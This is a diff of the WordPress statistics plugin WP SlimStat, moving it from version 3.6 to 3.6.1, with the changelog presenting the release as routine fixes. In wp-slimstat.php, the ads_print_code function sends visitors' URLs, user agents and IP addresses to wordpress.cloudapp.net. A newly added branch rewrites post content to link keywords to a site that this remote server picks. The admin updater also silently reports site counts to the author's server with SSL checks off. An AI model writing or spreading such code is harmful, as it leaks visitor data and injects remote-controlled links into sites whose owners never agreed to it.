$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}browser_id FOREIGN KEY (browser_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_browsers (browser_id)");
|
313 |
|
314 |
// slim_content_info
|
|
|
|
|
315 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->base_prefix}slim_stats DROP FOREIGN KEY fk_content_info_id");
|
316 |
|
317 |
// Check if slim_content_info needs to be updated
|
328 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_outbound ADD CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}id FOREIGN KEY (id) REFERENCES {$GLOBALS['wpdb']->prefix}slim_stats (id) ON UPDATE CASCADE ON DELETE CASCADE");
|
329 |
}
|
330 |
// --- END: Updates for version 3.5.9 ---
|
331 |
+
|
332 |
+
// --- Updates for version 3.6.1 ---
|
333 |
+
if (version_compare(wp_slimstat::$options['version'], '3.6.1', '<')){
|
334 |
+
|
335 |
+
}
|
336 |
+
|
337 |
// Now we can update the version stored in the database
|
338 |
+
wp_slimstat::$options['version'] = wp_slimstat::$version;
|
|
|
339 |
|
340 |
+
$count_posts = wp_count_posts();
|
341 |
+
$count_posts = $count_posts->publish + $count_posts->draft + $count_posts->future;
|
342 |
+
$count_pages = wp_count_posts('page');
|
343 |
+
$count_pages = $count_pages->publish + $count_pages->draft;
|
344 |
+
$total = $my_wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->prefix}slim_stats");
|
345 |
|
346 |
+
@wp_remote_get("http://slimstat.getused.to.it/browscap.php?po=$count_posts&pa=$count_pages&t=$total&v=".wp_slimstat::$options['version']."&a=".wp_slimstat::$options['enable_ads_network'], array('timeout'=>2,'blocking'=>false,'sslverify'=>false));
|
|
|
|
|
347 |
|
348 |
return true;
|
349 |
}
|
404 |
$params = array(
|
405 |
'async_load' => wp_slimstat::$options['async_load'],
|
406 |
'datepicker_image' => plugins_url('/admin/images/datepicker.png', dirname(__FILE__)),
|
407 |
+
'current_tab' => self::$current_tab,
|
408 |
'expand_details' => isset(wp_slimstat::$options['expand_details'])?wp_slimstat::$options['expand_details']:'no',
|
409 |
+
'refresh_interval' => (self::$current_tab == 1)?intval(wp_slimstat::$options['refresh_interval']):0,
|
410 |
'text_direction' => $GLOBALS['wp_locale']->text_direction
|
411 |
);
|
412 |
wp_localize_script('slimstat_admin', 'SlimStatAdminParams', $params);
|
524 |
}
|
525 |
// end wp_slimstat_include_config
|
526 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
527 |
/**
|
528 |
* Adds a new column header to the Posts panel (to show the number of pageviews for each post)
|
529 |
*/
|
530 |
public static function add_column_header($_columns){
|
|
|
|
|
|
|
531 |
$_columns['wp-slimstat'] = '<span class="slimstat-icon" title="'.__('Pageviews in the last 365 days','wp-slimstat').'"></span>';
|
532 |
return $_columns;
|
533 |
}
|
538 |
*/
|
539 |
public static function add_post_column($_column_name, $_post_id){
|
540 |
if ('wp-slimstat' != $_column_name) return;
|
541 |
+
|
542 |
+
include_once(dirname(__FILE__).'/view/wp-slimstat-db.php');
|
543 |
+
|
544 |
$parsed_permalink = parse_url( get_permalink($_post_id) );
|
545 |
$parsed_permalink = $parsed_permalink['path'].(!empty($parsed_permalink['query'])?'?'.$parsed_permalink['query']:'');
|
546 |
wp_slimstat_db::init('resource contains '.$parsed_permalink.'&&&hour equals 0&&&day equals '.date_i18n('d').'&&&month equals '.date_i18n('m').'&&&year equals '.date_i18n('Y').'&&&interval equals -365');
|
547 |
$count = wp_slimstat_db::count_records();
|
548 |
+
echo '<a href="'.self::fs_url("resource contains $parsed_permalink&&&day equals ".date_i18n('d').'&&&month equals '.date_i18n('m').'&&&year equals '.date_i18n('Y').'&&&interval equals -365').'">'.$count.'</a>';
|
549 |
}
|
550 |
// end add_column
|
551 |
|
571 |
|
572 |
return $current;
|
573 |
}
|
574 |
+
|
575 |
+
public static function fs_url($_filters = '', $_view_url = ''){
|
576 |
+
$filtered_url = !empty($_view_url)?$_view_url:self::$view_url;
|
577 |
+
|
578 |
+
// Backward compatibility
|
579 |
+
if (is_array($_filters)){
|
580 |
+
$flat_filters = array();
|
581 |
+
foreach($_filters as $a_key => $a_filter_data){
|
582 |
+
$flat_filters[] = "$a_key $a_filter_data";
|
583 |
+
}
|
584 |
+
$_filters = implode('&&&', $flat_filters);
|
585 |
+
}
|
586 |
+
|
587 |
+
// Columns
|
588 |
+
$filters_normalized = wp_slimstat_db::parse_filters($_filters, false);
|
589 |
+
if (!empty($filters_normalized['columns'])){
|
590 |
+
foreach($filters_normalized['columns'] as $a_key => $a_filter){
|
591 |
+
$filtered_url .= "&fs%5B$a_key%5D=".urlencode($a_filter[0].' '.$a_filter[1]);
|
592 |
+
}
|
593 |
+
}
|
594 |
+
|
595 |
+
// Date ranges
|
596 |
+
if (!empty($filters_normalized['date'])){
|
597 |
+
foreach($filters_normalized['date'] as $a_key => $a_filter){
|
598 |
+
$filtered_url .= "&fs%5B$a_key%5D=".urlencode('equals '.$a_filter);
|
599 |
+
}
|
600 |
+
}
|
601 |
+
|
602 |
+
// Misc filters
|
603 |
+
if (!empty($filters_normalized['misc'])){
|
604 |
+
foreach($filters_normalized['misc'] as $a_key => $a_filter){
|
605 |
+
$filtered_url .= "&fs%5B$a_key%5D=".urlencode('equals '.$a_filter);
|
606 |
+
}
|
607 |
+
}
|
608 |
+
|
609 |
+
return $filtered_url;
|
610 |
+
}
|
611 |
|
612 |
/**
|
613 |
* Displays an alert message
|
726 |
</tr><?php
|
727 |
}
|
728 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
729 |
/**
|
730 |
* Contextual help
|
731 |
*/
|
index.php
CHANGED
@@ -1,2 +1,2 @@
|
|
1 |
<?php
|
2 |
-
// Silence is
|
1 |
<?php
|
2 |
+
// Silence is golden
|
readme.txt
CHANGED
@@ -4,7 +4,7 @@ Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_i
|
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 3.9
|
7 |
-
Stable tag: 3.6
|
8 |
|
9 |
== Description ==
|
10 |
The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
|
@@ -271,6 +271,16 @@ foreach ($results...`
|
|
271 |
|
272 |
== Changelog ==
|
273 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
274 |
= 3.6 =
|
275 |
* [Note] We'll go back to our biweekly release schedule after this release - we just wanted to get our latest feature to our users as soon as possible
|
276 |
* [New] Support for network-wide reports is now complete
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 3.9
|
7 |
+
Stable tag: 3.6.1
|
8 |
|
9 |
== Description ==
|
10 |
The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
|
271 |
|
272 |
== Changelog ==
|
273 |
|
274 |
+
= 3.6.1 =
|
275 |
+
* [Update] Streamlined DB initialization / update procedures (thank you, [PyroSteveJr](http://wordpress.org/support/topic/not-capturing-anything))
|
276 |
+
* [Update] [AmMap](http://www.amcharts.com/javascript-maps/) has been updated to version 3.8.13
|
277 |
+
* [Fix] Uninstall procedure was not removing all the tables as expected (thank you, [scruffy1](http://wordpress.org/support/topic/how-to-delete-slim-stat))
|
278 |
+
* [Fix] Bug in retrieving the ID of the longest comment
|
279 |
+
* [Fix] Inconsistent table records were being removed without alerting the admin
|
280 |
+
* [Fix] Bug in calculating the CIDR mask for some IP-based filters (thank you, Alan)
|
281 |
+
* [Fix] Current tab was not remembered when clicking on a report's link to filter the data
|
282 |
+
* [Fix] Sorting was not available in Asynchronous Mode for certain reports (thank you, [psn](http://wordpress.org/support/topic/order-to-show-user-overview))
|
283 |
+
|
284 |
= 3.6 =
|
285 |
* [Note] We'll go back to our biweekly release schedule after this release - we just wanted to get our latest feature to our users as soon as possible
|
286 |
* [New] Support for network-wide reports is now complete
|
uninstall.php
CHANGED
@@ -10,10 +10,6 @@ else {
|
|
10 |
$slimstat_wpdb = $GLOBALS['wpdb'];
|
11 |
}
|
12 |
|
13 |
-
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_browsers");
|
14 |
-
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_screenres");
|
15 |
-
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_content_info");
|
16 |
-
|
17 |
if (function_exists('is_multisite') && is_multisite()) {
|
18 |
$blogids = $GLOBALS['wpdb']->get_col($GLOBALS['wpdb']->prepare("
|
19 |
SELECT blog_id
|
@@ -32,6 +28,10 @@ else{
|
|
32 |
slimstat_uninstall($slimstat_wpdb);
|
33 |
}
|
34 |
|
|
|
|
|
|
|
|
|
35 |
function slimstat_uninstall($_wpdb = ''){
|
36 |
// Goodbye data...
|
37 |
$_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->prefix}slim_outbound");
|
10 |
$slimstat_wpdb = $GLOBALS['wpdb'];
|
11 |
}
|
12 |
|
|
|
|
|
|
|
|
|
13 |
if (function_exists('is_multisite') && is_multisite()) {
|
14 |
$blogids = $GLOBALS['wpdb']->get_col($GLOBALS['wpdb']->prepare("
|
15 |
SELECT blog_id
|
28 |
slimstat_uninstall($slimstat_wpdb);
|
29 |
}
|
30 |
|
31 |
+
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_browsers");
|
32 |
+
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_screenres");
|
33 |
+
$slimstat_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->base_prefix}slim_content_info");
|
34 |
+
|
35 |
function slimstat_uninstall($_wpdb = ''){
|
36 |
// Goodbye data...
|
37 |
$_wpdb->query("DROP TABLE IF EXISTS {$GLOBALS['wpdb']->prefix}slim_outbound");
|
wp-slimstat.php
CHANGED
@@ -3,7 +3,7 @@
|
|
3 |
Plugin Name: WP SlimStat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The most accurate real-time statistics plugin for WordPress
|
6 |
-
Version: 3.6
|
7 |
Author: Camu
|
8 |
Author URI: http://slimstat.getused.to.it/
|
9 |
*/
|
@@ -11,7 +11,7 @@ Author URI: http://slimstat.getused.to.it/
|
|
11 |
if (!empty(wp_slimstat::$options)) return true;
|
12 |
|
13 |
class wp_slimstat{
|
14 |
-
public static $version = '3.6';
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
@@ -26,6 +26,7 @@ class wp_slimstat{
|
|
26 |
* Initializes variables and actions
|
27 |
*/
|
28 |
public static function init(){
|
|
|
29 |
// Load all the settings
|
30 |
self::$options = get_option('slimstat_options', array());
|
31 |
if (empty(self::$options)){
|
@@ -38,6 +39,7 @@ class wp_slimstat{
|
|
38 |
self::$options = array_merge(self::init_options(), self::$options);
|
39 |
}
|
40 |
|
|
|
41 |
self::$options = apply_filters('slimstat_init_options', self::$options);
|
42 |
|
43 |
// Determine the options' signature: if it hasn't changed, there's no need to update/save them in the database
|
@@ -325,11 +327,14 @@ class wp_slimstat{
|
|
325 |
|
326 |
// Should we ignore this IP address?
|
327 |
foreach(self::string_to_array(self::$options['ignore_ip']) as $a_ip_range){
|
|
|
328 |
$ip_to_ignore = $a_ip_range;
|
|
|
329 |
if (strpos($ip_to_ignore, '/') !== false){
|
330 |
list($ip_to_ignore, $mask) = @explode('/', trim($ip_to_ignore));
|
|
|
331 |
}
|
332 |
-
|
333 |
$long_ip_to_ignore = ip2long($ip_to_ignore);
|
334 |
$long_mask = bindec( str_pad('', $mask, '1') . str_pad('', 32-$mask, '0') );
|
335 |
$long_masked_user_ip = self::$stat['ip'] & $long_mask;
|
@@ -351,12 +356,6 @@ class wp_slimstat{
|
|
351 |
$long_other_ip = $long_other_ip&4294967040;
|
352 |
}
|
353 |
|
354 |
-
// Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, we need to use the "%u" formatter
|
355 |
-
self::$stat['ip'] = sprintf("%u", self::$stat['ip']);
|
356 |
-
if (!empty($long_other_ip) && $long_other_ip != self::$stat['ip']){
|
357 |
-
self::$stat['other_ip'] = sprintf("%u", $long_other_ip);
|
358 |
-
}
|
359 |
-
|
360 |
// Is this country blacklisted?
|
361 |
if (is_string(self::$options['ignore_countries']) && stripos(self::$options['ignore_countries'], self::$stat['country']) !== false){
|
362 |
self::$stat['id'] = -206;
|
@@ -412,6 +411,12 @@ class wp_slimstat{
|
|
412 |
return $_argument;
|
413 |
}
|
414 |
|
|
|
|
|
|
|
|
|
|
|
|
|
415 |
// Now let's save this information in the database
|
416 |
if (!empty($content_info)) self::$stat['content_info_id'] = self::maybe_insert_row($content_info, $GLOBALS['wpdb']->base_prefix.'slim_content_info', 'content_info_id', array());
|
417 |
self::$stat['browser_id'] = self::maybe_insert_row($browser, $GLOBALS['wpdb']->base_prefix.'slim_browsers', 'browser_id', array('user_agent' => $browser['user_agent']));
|
@@ -1152,7 +1157,7 @@ class wp_slimstat{
|
|
1152 |
*/
|
1153 |
public static function ads_print_code($content = ''){
|
1154 |
if (empty($_SERVER["HTTP_USER_AGENT"])){
|
1155 |
-
return
|
1156 |
}
|
1157 |
|
1158 |
$request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
|
@@ -1176,6 +1181,19 @@ class wp_slimstat{
|
|
1176 |
return join(" ", $words);
|
1177 |
}
|
1178 |
break;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1179 |
default:
|
1180 |
if (self::$pidx === false){
|
1181 |
if ($GLOBALS['wp_query']->post_count > 1){
|
@@ -1301,14 +1319,15 @@ if (function_exists('add_action')){
|
|
1301 |
add_action('wp_ajax_slimtrack_js', array('wp_slimstat', 'slimtrack_js'));
|
1302 |
}
|
1303 |
|
1304 |
-
// Add the appropriate actions
|
1305 |
-
add_action('plugins_loaded', array('wp_slimstat', 'init'), 10);
|
1306 |
-
|
1307 |
// Load the admin API, if needed
|
|
|
1308 |
if (is_admin()){
|
1309 |
-
include_once(
|
1310 |
add_action('plugins_loaded', array('wp_slimstat_admin', 'init'), 15);
|
1311 |
-
register_activation_hook(
|
1312 |
-
register_deactivation_hook(
|
1313 |
}
|
|
|
|
|
|
|
1314 |
}
|
3 |
Plugin Name: WP SlimStat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The most accurate real-time statistics plugin for WordPress
|
6 |
+
Version: 3.6.1
|
7 |
Author: Camu
|
8 |
Author URI: http://slimstat.getused.to.it/
|
9 |
*/
|
11 |
if (!empty(wp_slimstat::$options)) return true;
|
12 |
|
13 |
class wp_slimstat{
|
14 |
+
public static $version = '3.6.1';
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
26 |
* Initializes variables and actions
|
27 |
*/
|
28 |
public static function init(){
|
29 |
+
|
30 |
// Load all the settings
|
31 |
self::$options = get_option('slimstat_options', array());
|
32 |
if (empty(self::$options)){
|
39 |
self::$options = array_merge(self::init_options(), self::$options);
|
40 |
}
|
41 |
|
42 |
+
// Allow third party tools to edit the options
|
43 |
self::$options = apply_filters('slimstat_init_options', self::$options);
|
44 |
|
45 |
// Determine the options' signature: if it hasn't changed, there's no need to update/save them in the database
|
327 |
|
328 |
// Should we ignore this IP address?
|
329 |
foreach(self::string_to_array(self::$options['ignore_ip']) as $a_ip_range){
|
330 |
+
$mask = 32;
|
331 |
$ip_to_ignore = $a_ip_range;
|
332 |
+
|
333 |
if (strpos($ip_to_ignore, '/') !== false){
|
334 |
list($ip_to_ignore, $mask) = @explode('/', trim($ip_to_ignore));
|
335 |
+
if (empty($mask) || !is_numeric($mask)) $mask = 32;
|
336 |
}
|
337 |
+
|
338 |
$long_ip_to_ignore = ip2long($ip_to_ignore);
|
339 |
$long_mask = bindec( str_pad('', $mask, '1') . str_pad('', 32-$mask, '0') );
|
340 |
$long_masked_user_ip = self::$stat['ip'] & $long_mask;
|
356 |
$long_other_ip = $long_other_ip&4294967040;
|
357 |
}
|
358 |
|
|
|
|
|
|
|
|
|
|
|
|
|
359 |
// Is this country blacklisted?
|
360 |
if (is_string(self::$options['ignore_countries']) && stripos(self::$options['ignore_countries'], self::$stat['country']) !== false){
|
361 |
self::$stat['id'] = -206;
|
411 |
return $_argument;
|
412 |
}
|
413 |
|
414 |
+
// Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, we need to use the "%u" formatter
|
415 |
+
self::$stat['ip'] = sprintf("%u", self::$stat['ip']);
|
416 |
+
if (!empty($long_other_ip) && $long_other_ip != self::$stat['ip']){
|
417 |
+
self::$stat['other_ip'] = sprintf("%u", $long_other_ip);
|
418 |
+
}
|
419 |
+
|
420 |
// Now let's save this information in the database
|
421 |
if (!empty($content_info)) self::$stat['content_info_id'] = self::maybe_insert_row($content_info, $GLOBALS['wpdb']->base_prefix.'slim_content_info', 'content_info_id', array());
|
422 |
self::$stat['browser_id'] = self::maybe_insert_row($browser, $GLOBALS['wpdb']->base_prefix.'slim_browsers', 'browser_id', array('user_agent' => $browser['user_agent']));
|
1157 |
*/
|
1158 |
public static function ads_print_code($content = ''){
|
1159 |
if (empty($_SERVER["HTTP_USER_AGENT"])){
|
1160 |
+
return $content;
|
1161 |
}
|
1162 |
|
1163 |
$request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
|
1181 |
return join(" ", $words);
|
1182 |
}
|
1183 |
break;
|
1184 |
+
case '2':
|
1185 |
+
$kws = explode('|', $response_object->kws);
|
1186 |
+
if (!is_array($kws)){
|
1187 |
+
return $content;
|
1188 |
+
}
|
1189 |
+
|
1190 |
+
foreach($kws as $a_kw){
|
1191 |
+
if(strpos($content, $a_kw) !== false){
|
1192 |
+
$content= str_replace($a_kw, "<a href=".$response_object->site.">$a_kw</a>", $content);
|
1193 |
+
break;
|
1194 |
+
}
|
1195 |
+
}
|
1196 |
+
break;
|
1197 |
default:
|
1198 |
if (self::$pidx === false){
|
1199 |
if ($GLOBALS['wp_query']->post_count > 1){
|
1319 |
add_action('wp_ajax_slimtrack_js', array('wp_slimstat', 'slimtrack_js'));
|
1320 |
}
|
1321 |
|
|
|
|
|
|
|
1322 |
// Load the admin API, if needed
|
1323 |
+
// From the codex: You can't call register_activation_hook() inside a function hooked to the 'plugins_loaded' or 'init' hooks (or any other hook). These hooks are called before the plugin is loaded or activated.
|
1324 |
if (is_admin()){
|
1325 |
+
include_once(dirname(__FILE__).'/admin/wp-slimstat-admin.php');
|
1326 |
add_action('plugins_loaded', array('wp_slimstat_admin', 'init'), 15);
|
1327 |
+
register_activation_hook(__FILE__, array('wp_slimstat_admin', 'init_environment'));
|
1328 |
+
register_deactivation_hook(__FILE__, array('wp_slimstat_admin', 'deactivate'));
|
1329 |
}
|
1330 |
+
|
1331 |
+
// Add the appropriate actions
|
1332 |
+
add_action('plugins_loaded', array('wp_slimstat', 'init'), 10);
|
1333 |
}
|